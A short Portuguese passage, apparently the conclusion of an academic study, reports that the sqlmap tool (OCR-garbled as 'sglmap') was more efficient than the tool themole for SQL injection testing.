para testes de SQL injection, pois os resultados mostram que a ferramenta sglmap
apresentou maior eficiéncia em relagdo a ferramenta themole.
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